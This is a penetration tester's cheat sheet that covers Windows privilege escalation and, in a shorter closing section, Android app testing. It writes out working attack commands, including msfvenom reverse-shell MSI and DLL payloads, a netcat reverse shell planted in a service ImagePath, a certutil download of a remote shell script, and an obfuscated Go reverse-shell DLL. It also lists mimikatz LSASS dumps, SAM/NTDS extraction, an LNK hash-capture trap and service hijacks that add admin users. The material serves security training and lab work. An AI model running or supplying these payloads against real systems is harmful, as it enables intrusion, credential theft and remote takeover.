C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
```

* PowerShell history

```powershell
(Get-PSReadLineOption).HistorySavePath
gc (Get-PSReadLineOption).HistorySavePath
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

**Powershell Command**

```powershell
Get-Credential API
Import-Clixml
Export-Clixml
runas /savecred /user:inlanefreight\bob "COMMAND HERE"
```

**Saved Credentials List**

```powershell
cmdkey /list
```

* Execute SharpChrome for extracting data from DPAPI - <https://github.com/GhostPack/SharpDPAPI/blob/master/README.md>

```powershell
SharpChrome.exe logins /unprotect
```

* Password Manager
  * Keepass -> `kdbx` -> `keepass2jhon` -> `hashcat/jhon`
* Mail
  * `MailSniper`
* **Lazagne** - <https://github.com/AlessandroZ/LaZagne> - Credentials recovery project

```powershell
lazagne.exe all
```

* SessionGopher

```powershell
Import-Module .\SessionGopher.ps1 
Invoke-SessionGopher -Target WINLPE-SRV01
```

**Clear-Text Password in the Registry**

* Windows Autologon - If 1 is enabled

```powershell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

* Putty session file

```powershell
Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<SESSION NAME>
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
```

**Wifi Password**

```powershell
netsh wlan show profile
netsh wlan show profile  name="Wifi" key=clear
```

**VHDX/VMDK**

* Mount Linux

```powershell
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
guestmount --add WEBSRV10.vhdx  --ro /mnt/vhdx/ -m /dev/sda1
```

* Windows -> Mount-VHD [Mount-VHD](https://learn.microsoft.com/en-us/powershell/module/hyper-v/mount-vhd?view=windowsserver2019-ps)
* Resources -> [Extract VMDK](https://www.nakivo.com/blog/extract-content-vmdk-files-step-step-guide/)

#### Misconfiguration

* AlwaysInstallelevated

```powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

* Exploit

```powershell
Import-Module .\PowerUp.ps1 
Write-UserAddMSI
```

* Generating MSI

```powershell
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
```

* Execute MSI

```powershell
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
```

* BypassUAC - user account control
  * Bypass-UAC - [Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)

**Share with write permssion**

* SCF on a File Share
  * Icon on attacker machine UNC `IconFile=\\10.10.14.3\share\legit.ico`
  * Starting `Responder`/`Inveigh`/`InveighZero`
  * Cracking using `hashcat -m 5600`
* Malicious `lnk` file - **LnkBomb** [LnkBomb](https://github.com/dievus/lnkbomb)

```powershell
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

### Pillaging

* Enumerate Installed applications

```powershell
dir "C:\Program Files"
```

* Using Registry Key

```powershell
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize
```

* Enumerate Installed services
  * Websites
  * File Shares
  * Databases
  * Directory Services (such as Active Directory, Azure AD, etc.)
  * Name Servers
  * Deployment Services
  * Certificate Authority
  * Source Code Management Server
  * Virtualization
  * Messaging
  * Monitoring and Logging Systems
  * Backups
* Sensitive Data
  * Keylogging
    * Clipboard - [Invoke-Clipboard](https://github.com/inguardians/Invoke-Clipboard/blob/master/Invoke-Clipboard.ps1)
  * Screen Capture
  * Network Traffic Capture
  * Previous Audit reports
* User Information
  * History files, interesting documents (.doc/x,.xls/x,password/.pass, etc)
  * Roles and Privileges
  * Web Browsers
    * Firefox `%APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release`
      * `copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .`
      * CookieExtractor [CookieExtractor](https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/cookieextractor.py)
    * Chrome
      * SharpChromium - [SharpChromium](https://github.com/djhohnstein/SharpChromium)
      * Fix copy for Invoke-SharpChromium `copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"`
      * InvokeSharpChromium - [Invoke-SharpChromium](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1)
  * IM Clients
    * Slack/Teams

#### If Administrator privilege, we can run mimikatz

* Run mimikatz mimikatz

```powershell
mimikatz.exe
privilege:debug
log
sekurlsa::logonpassword
```

### Windows User Privileges

#### SeImpersonate and SeAssignPrimaryToken

* [JuicyPotato](https://github.com/ohpe/juicy-potato)
* [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
* [RoguePotato](https://github.com/antonioCoco/RoguePotato)

#### SeDebugPrivilege

* Using procdump

```powershell
procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

```powershell
mimikatz.exe 
log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

* Exploit SYSTEM from child process
* Get info about winlogon

```powershell
tasklist
```

* [psgetsys.ps1](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)

```powershell
# proc id of winlogon of lsass
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(16452, "c:\windows\System32\cmd.exe", "")
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "lsass").id, "c:\windows\System32\cmd.exe", "")
```

#### SeTakeOwnershipPrivilege

* [Enable Privilge](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1)

```powershell
Import-Module .\Enable-Privilege.ps1
```

* <https://github.com/fashionproof/EnableAllTokenPrivs>

```powershell
.\EnableAllTokenPrivs.ps1
```

* Choosing Target File

```powershell
Get-ChildItem -Path 'C:\\Department Shares\\Private\\IT\\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
```

* Checking File Ownership

```powershell
cmd /c dir /q 'C:\\Department Shares\\Private\\IT'
```

* Take Ownership

```powershell
takeown /f 'C:\\Department Shares\\Private\\IT\\cred.txt'
```

* Modify FILE ACL

```powershell
icacls 'C:\\Department Shares\\Private\\IT\\cred.txt' /grant htb-student:F
```

### Windows Groups Privileges

#### Backup Operators

* Enable Flag SeBackupPrivileg <https://github.com/giuliano108/SeBackupPrivilege>
* Resources -> [Exploit](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md)

```poiwershell
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

* Start backup

```powershell
diskshadow.exe
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit 
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```

* save system

```powershell
reg save HKLM\\SYSTEM SYSTEM.SAV`
reg save hklm\system C:\temp\system.hive`
```

* save sam

```powershell
reg save HKLM\SAM SAM.SAV
reg save hklm\sam C:\temp\sam.hive
```

* extracting using impacket

```bash
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

* Extracting Cred from NTDS.dit

```powershell
Install-Module DSInternals -Force
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\\SYSTEM # or system.sav dipende da come lo abbiamo salvato prima
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
```

* Extracting

```powershell
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

* Create a copy

```powershell
robocopy /B E:\Windows\\NTDS .\ntds ntds.dit
```

#### Event Log Readers

```powershell
net localgroup "Event Log Readers"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
```

#### DnsAdmins

* Generate malicious dll

```powershell
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```

* Get info about group DNSAdmins

```powershell
Get-ADGroupMember -Identity DnsAdmins
```

* Change dll

```powershell
dnscmd.exe /config /serverlevelplugindll C:\\Users\\netadm\\Desktop\\adduser.dll
```

* Restart DNS Services (could be distruptive)

```powershell
sc stop DNS
sc start DNS
```

* Get SID user

```powershell
wmic useraccount where name="netadm" get sid
```

* Check permission on `DNSService`

```powershell
sc.exe sdshow DNS
```

#### Hyper-V Administrators

* [From Hyper-V Administrator to Domain Admins](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/)

#### Print Operators - SeLoadDriverPrivilege

```powershell
whoami /priv
```

* [EnableSeLoadDriverPrivilege.cpp](https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp) Build

```powershell
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
```

* [Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - Add Reference Driver

```powershell
reg add HKCU\\System\\CurrentControlSet\\CAPCOM /v ImagePath /t REG_SZ /d "\\??\\C:\\Tools\\Capcom.sys"
```

* EnablePrivilges

```powershell
EnableSeLoadDriverPrivilege.exe
```

* Verifiy Driver is Loaded

```powershell
.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom
```

* Use [ExploitCapcom](https://github.com/tandasat/ExploitCapcom) `.\ExploitCapcom.exe`
* Use [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/)
* Clean

```powershell
reg delete HKCU\\System\\CurrentControlSet\\Capcom
```

#### Server Operators

* Find Services that run in SYSTEM ad es., AppReadiness

```powershell
sc qc AppReadiness
```

* Check Permission with PsService

```powershell
c:\Tools\PsService.exe security AppReadiness
```

* Change binPath

```powershell
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
```

* Start Service

```powershell
sc start AppReadiness
```

### User Account Control

* Checking if UAC is enabled

```powershell
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
```

* Checking UAC Level

```powershell
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
```

* Checking Windows Version

```powershell
[environment]::OSVersion.Version
```

* Reviewing PATH

```powershell
cmd /c echo %PATH%`
```

* UAC bypass
  * UACME - [UACME](https://github.com/hfiref0x/UACME)
  * UAC Mocking dir - [uac-bypass-by-mocking-trusted-directories](https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e)
  * Bypass UAC - [Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)

### Weak Permission

#### Permissive File System ACLs

* Using

```powershell
Sharphound.exe audit
```

for searching services modifiable ad es., `SecurityService`

* Check permission

```powershell
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

* Change executable

```powershell
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

* Restart Services

```poweshell
sc start SecurityService
```

#### Weak Service Permissions

* Run

```powershell
Sharphound.exe audit
```

* Using `accesschk` for reviewing permission about services

```powershell
accesschk.exe /accepteula -quvcw WindscribeService
```

* Query all services

```powershell
sc query
```

* Change binpath

```powershell
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
```

* Stop service

```powershell
sc stop WindscribeService
```

* Restart

```powershell
sc start WindscribeService
```

* Reverting to initial state

```powershell
sc config WindScribeService binpath="c:\\Program Files (x86)\\Windscribe\\WindscribeService.exe"
sc start WindScribeService`
```

* In casi di permesso di shutdown e il servizio è autorun

```powershell
shutdown -r -t 1
```

#### Unquoted Services

* Querying service

```powershell
sc qc SystemExplorerHelpService
```

* Searching unquoted services

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
```

#### Scheduled Task

```powershell
schtasks /query /fo LIST /v
schtask /query /fo LIST /v /FN "Name"
Get-ScheduledTask | select TaskName,State
```

### Permissive Registry ACLs

* Checking Weak Service ACLs in Registry

```powershell
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
```

* Changing ImagePath with PowerShell

```powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
```

* Modifiable Registry Autorun Binary

```powershell
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
```

* <https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html#privilege-escalation-with-autoruns>
* <https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/LogonAutostartExecutionRegistryRunKeys.md>

### Kernel Exploit

* List vuln windows: <https://msrc.microsoft.com/update-guide/vulnerability>

```powershell
wmic qfe list brief
```

* Watson: [Watson](https://github.com/rasta-mouse/Watson)
* Wesng: [wesng](https://github.com/bitsadmin/wesng)

### LOLBAS

* Collection
  * LOLBAS - [LOLBAS](https://lolbas-project.github.io/#)
* Transfer file

```powershell
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
```

* Encodign File

```powershell
certutil -encode file1 encodedfile
```

* Decoding file

```powershell
Certutil -decode encodedfile file2
```

* Execute dll

```powershell
rundll32.exe file.dll,methodName
```

### DLL Injection/Hijacking

* DLL injection
  * is a method that involves inserting a piece of code, structured as a Dynamic Link Library (DLL), into a running process.
  * Execute an arbitrary DLL inside another process
    1. Locate the process to inject the malicious DLL `CreateToolhelp32Snapshot`, `Process32First`, `Process32Next`
    2. Open the process: `GetModuleHandle`, `GetProcAddress`, `OpenProcess`
    3. Write the path to the DLL inside the process: `VirtualAllocEx`, `WriteProcessMemory`
    4. Create a thread in the process that will load the malicious DLL CreateRemoteThread, LoadLibrary
    5. Other functions to use: NTCreateThreadEx, RtlCreateUserThread
  * `LoadLibrary`
  * `Manual Mapping`
  * Resources
    * DLL Injection Hacktips - [DLL Injection](https://hacktips.it/dll-injection/)
    * IredTeam DLL Injection - [IredTeam-DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection)
* DLL Hijacking
  * `DLL Hijacking` is an exploitation technique where an attacker capitalizes on the Windows DLL loading process.
    * **DLL Replacement**: replace a legitimate DLL with an evil DLL. Combined with DLL Proxying
    * **DLL Search Order Hijacking**: Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL Ref -\[Ref.]
    * **Phantom DLL hijacking**: Drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load.
    * **DLL redirection**: change the location in which the DLL is searched for, e.g. by editing the %PATH% environment variable, or `.exe.manifest` / `.exe.local` .Ref \[Ref.]
    * **WinSxS DLL replacement**: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often DLL side-loading. Ref - \[Ref.]
    * **Relative path DLL Hijacking**: Copy the legitimate application to a user-writable folder, alongside the evil DLL.
  * Find Missing DLL
    * `procmon` → `filter` → `Results contain not Found` and → `Paths end with .dll`
  * To escalate privileges
    * Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.
    * Ensure write access is available for any directory in which the DLL will be searched for `icacls “Path-To-Dir”`
  * Tools
    * `winpeas`
    * `siofra` - [Siofra](https://github.com/Cybereason/siofra)
    * `powersploit`
      * `Find-ProcessDLLHijack`
      * `Find-PathDLLHijack`
      * `Write-HijackDll`
  * Resources
    * DLL Hijacking Hacktricks - [DLL Hijacking](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html)
    * DLL Hijacking Prives - [DLL Hijacking PrivEsc](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html?#escalating-privileges)
    * Hacking dlls in windows - [hijacking-dlls-in-windows](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)
    * tcapt dll hijacking - [tcapt-dll-hijacking](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
    * DLL Hijacking - [DLL Hijacking](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
    * [IPPSEC DLL Hijacking](https://www.youtube.com/watch?v=3eROsG_WNpE)
* DLL Reflective
  * Resources
    * Reflective DLL Injection: [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection)
* DLL SideLoading
  * Resources
    * Dll sideloading proxying [dll-sideloading-proxying](https://book.hacktricks.wiki/en/windows-hardening/av-bypass.html?#dll-sideloading--proxying)
* DLL Proxying
  * Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
  * Get RevShell (**N.B. is very important arch used**)

```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f dll -o injection.dll
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.150.167 LPORT=4444 -f dll > injection.dll
```

* `msfconsole` -> `use multi/handler`
* Write Code
  * [DLL Write](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html?#your-own)
* How to compile dll
* **x64**

```bash
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
```

* **x86**

```bash
i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
```

* Link to `Windows Sockets 2`, necessary for rev shell

```powershell
i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
```

* Alternative use `VisualStudio e C#`
* Using **go**:

```go
package main

import (
  "C"
  "os/exec"
  "net"
)

//export VerifyThemeVersion 
func VerifyThemeVersion(){
  main()
}

func main() {
        dst := "192.168.1.152" // set ip
        pnum := "9999"  // set port
        connstring := dst + ":" + pnum
        prot := "tcp"
        netData, _ := net.Dial(prot, connstring)
        shell := exec.Command("pow" + "er" + "she" + "ll.e" + "xe")
        shell.Stdin=netData
        shell.Stdout=netData
        shell.Stderr=netData
        shell.Run()
}

```

```bash
# x86
OOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared -o main.dll reverse_shell.go  
#amd64
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o evil.dll ./calculator.go   
```

* How to check if DLL work

```powershell
rundll32.exe shell32.dll,Control_RunDLL C:\\Users\\sarah\\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll
```

```powershell
rundll32.exe injection.dll,0
```

* Tools
  * Procmon
  * Process Explorer
  * VisualStudio

### Resources

* [Payload windows privesc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/)
* [hacktricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)
* [LOLBAS](https://lolbas-project.github.io/#)
* <https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/tree/master>

### Tools

* [WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)
* [PowerUP](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
* [SharpUp](https://github.com/GhostPack/SharpUp)
* [Seatbelt](https://github.com/GhostPack/Seatbelt)
* [JAWS](https://github.com/411Hall/JAWS)
* [SessionGopher](https://github.com/Arvanaghi/SessionGopher)
* [Watson](https://github.com/rasta-mouse/Watson)
* [Lazagne](https://github.com/AlessandroZ/LaZagne)
* [MailSniper](https://github.com/dafthack/MailSniper)
* [wesng](https://github.com/bitsadmin/wesng)
* [Sysinternal](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
* [SharpChrome](https://github.com/GhostPack/SharpDPAPI)
* [Snaffler](https://github.com/SnaffCon/Snaffler)
* [PSSQLite](https://github.com/RamblingCookieMonster/PSSQLite)
* [DLL Export Viewer](https://www.nirsoft.net/utils/dll_export_viewer.html)
* [Responder](https://github.com/lgandx/Responder)
* [Inveigh](https://github.com/Kevin-Robertson/Inveigh)
* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
* [SharpChromium](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1)
* [BeRoot](https://github.com/AlessandroZ/BeRoot)


# Android Application Pentesting

## **Android PT Mindmap**

### Reversing

#### Java/Kotlin

* Decompile apk
  * [Jadx/Jadx-gui](https://github.com/skylot/jadx)
  * [Dex2Jar](https://github.com/pxb1988/dex2jar)
  * [APktool](https://apktool.org/)
* Native
  * Identify `.so` inside app lib/\<arch>/\*.so
  * `rabin2 -I lib/x86_64/libnative-lib.so | grep -E "canary|pic"`
  * Decompile with Ghidra/IDApr/R2
* Resources
  * [Native decompiling](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0024/#ida-pro)
  * [Reversing Native Libraries](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/reversing-native-libraries.html)
  * \[Smali]\(<https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0016/>
  * [JavaCode](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0017/)

#### React Native

* Disassembler and Assembler `assets/index.android.bundle`
  * [hermes-facebook](https://github.com/facebook/hermes/tree/main)
  * [hermes engine](https://hermesengine.dev/)
  * [hermes-dec](https://github.com/P1sec/hermes-dec)
  * [hbctool](https://github.com/bongtrop/hbctool)
  * [hbctool-fork](https://github.com/Kirlif/HBC-Tool)
  * [hasmer](https://github.com/lucasbaizer2/hasmer)
  * [hermes\_rs](https://github.com/Pilfer/hermes_rs)
* Resources
  * [Reversing and Instrumenting React Native Apps](https://pilfer.github.io/mobile-reverse-engineering/react-native/reverse-engineering-and-instrumenting-react-native-apps/)
  * [Reversing React Native](https://pilfer.github.io/mobile-reverse-engineering/react-native/reverse-engineering-and-instrumenting-react-native-apps/)
  * [Reversing React Native apps](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/react-native-application.html)
  * [editing-and-patching-react-native-applications/](https://payatu.com/blog/editing-and-patching-react-native-applications/)
  * [understanding-modifying-hermes-bytecode](https://payatu.com/blog/understanding-modifying-hermes-bytecode/)

#### Cordova/Ionic/Phone Gap

* Source code located in `assets/www`
* Resources
  * [effortless-pentesting-of-apache-cordova-applications](https://payatu.com/blog/effortless-pentesting-of-apache-cordova-applications/)
  * [Cordova Apps](https://book.hacktricks.wiki/en/mobile-pentesting/cordova-apps.html)

#### Xamarin

* Find `assemblies` in apk
  * [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)
  * [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)
  * [dnSpy](https://github.com/dnSpy/dnSpy)
  * [dll-extractor-from-so-xamarin-app](https://github.com/Dado1513/dll-extractor-from-so-xamarin-app)
* Resources
  * [xamarin-apps](https://book.hacktricks.wiki/en/mobile-pentesting/xamarin-apps.html)
  * [appknox-reversing-xamaring](https://www.appknox.com/blog/xamarin-reverse-engineering-a-guide-for-penetration-testers)

#### Flutter

* [Flutter Reversing](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0112/)

#### Apk Signature

* Verify Signature
  * `apksigner verify --verbose example.apk`
  * `apksigner verify --print-certs --verbose example.apk`

### Static Analysis

#### Insecure Crypto-Methods

* [Insecure Algorithm](https://mas.owasp.org/MASTG/0x04g-Testing-Cryptography/#identifying-insecure-andor-deprecated-cryptographic-algorithms)
  * DES, 3DES
  * RC2
  * RC4
  * BLOWFISH
  * MD4
  * MD5
  * SHA1
* SecureRandom with Empty Argument

#### Interesting File

* Android Manifest `AndroidManifest.xml`
* Network Security Config `NetworkSecurityConfig.xml`
* `assets` directory
* `res/xml` directory

#### Find Secret/URL/Endpoint

* `strings` command
* [Retrieving String](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0019/)
* [Apkleaks](https://github.com/dwisiswant0/apkleaks)

#### Insecure DeepLink

* Check if exists `/.well-known/assetlinks.json`
* [Exploit deeplink](https://redfoxsec.com/blog/protect-your-android-app-preventing-exploitation-of-deep-links/)
* [DeepLink Vulnerabilities](https://0xn3va.gitbook.io/cheat-sheets/android-application/intent-vulnerabilities/deep-linking-vulnerabilities)

#### WebView

* Arbitrary Resources Load
* JavascriptInterface
* Javascript Enable
* Local File Inclusion
* XSS

### Setup Device

#### Emulator

* [rootAVD](https://gitlab.com/newbit/rootAVD)
* [OWASP Techniques Emulator](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0036/)

#### Physical Device

* Rooting
* Magisk
  * lsposed
  * Magisk Hide
  * Enable Zygisk
* Useful Modules
  * [MagiskFrida](https://github.com/ViRb3/magisk-frida)
  * [Custom-Certificate-Authorities](https://github.com/Magisk-Modules-Alt-Repo/custom-certificate-authorities)
  * [Magisk hide](https://github.com/Magisk-Modules-Repo/MagiskHidePropsConf)

#### Root Detection

* Missing Root Detection
* Bypass
  * Frida
  * Code / Repack
  * Magisk Hide

#### Emulator Detection

* Missing Check
* Bypass
  * Frida
  * Code Manipulation / Patching

#### Anti-Tampering

* Check if signature is verified
  * use `uber-apk-signer` and try to execute app
* Check if integrity of code is verified
  * patch code (native, hermes, js, smali), sign app and try to execute againg

### Dynamic Analysis

#### Pull apk

* list apk
  * `adb shell pm list packages`
* get path apk (or apks)
  * `adb shell pm path sg.vp.owasp_mobile.omtg_android`
* Download apk
  * `abd pull <path>`

#### Content Provider

* [Exploiting Content Provider](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/content-protocol.html)

#### Binary Instrumentation

* Dynamic Analysis on non rooted device
  * `objection patchapk --source UnCrackable-Level1.apk`
* Tools
  * [Frida](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/frida-tutorial/index.html)
  * [Objection](https://github.com/sensepost/objection)

#### Interact with App

* [Drozer](https://github.com/WithSecureLabs/drozer)
  * [Tutorial Drozer](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html)
* Attack Surface
  * `run app.package.attacksurface <package_name>`

#### Process Exploration

* [Fridump](https://github.com/Nightbringer21/fridump)
* Objection
  * `objection --gadget sg.vantagepoint.helloworldjni explore`
  * `memory dump all`
* [Process Exploation](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0044/)

#### Method Tracing

* [Execution Tracing](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0032/)
* [Method Tracing](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0033/)
* [Native Code Tracing](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0034/)
* [JNI Tracing](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0035/)

#### Hooking Method

* Getting loaded classes
  * [OWASP Getting Loaded Classes](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0042/)
* [OWASP Hooking](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0043/)

#### Library Injection

* [Library Injection MASTG](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0041/#patching-applications-native-library)

#### Debugger

* [OWASP Debugging](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0031/)
* [Exploit App Debuggable](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html)
* Resources
  * [Debugger](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0040/)

### Network

#### Network Monitoring

* [Set Proxy](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0011/)
* [monitoring traffic](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0010/)
* iptables
* tcpdump

#### SSL Pinning bypass

* OWASP: [OWASP SSL Pinning Bypass](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0012/)
* Using Frida
  * [ssl-pinning-bypass-android-frida](https://redfoxsec.com/blog/ssl-pinning-bypass-android-frida/)
  * [bypass-ssl-pinning-for-flutter](https://medium.com/@appsecwarrior/bypass-ssl-pinning-for-flutter-a2f9ae85762e)
* Flutter App
  * [reFlutter](https://github.com/Impact-I/reFlutter)
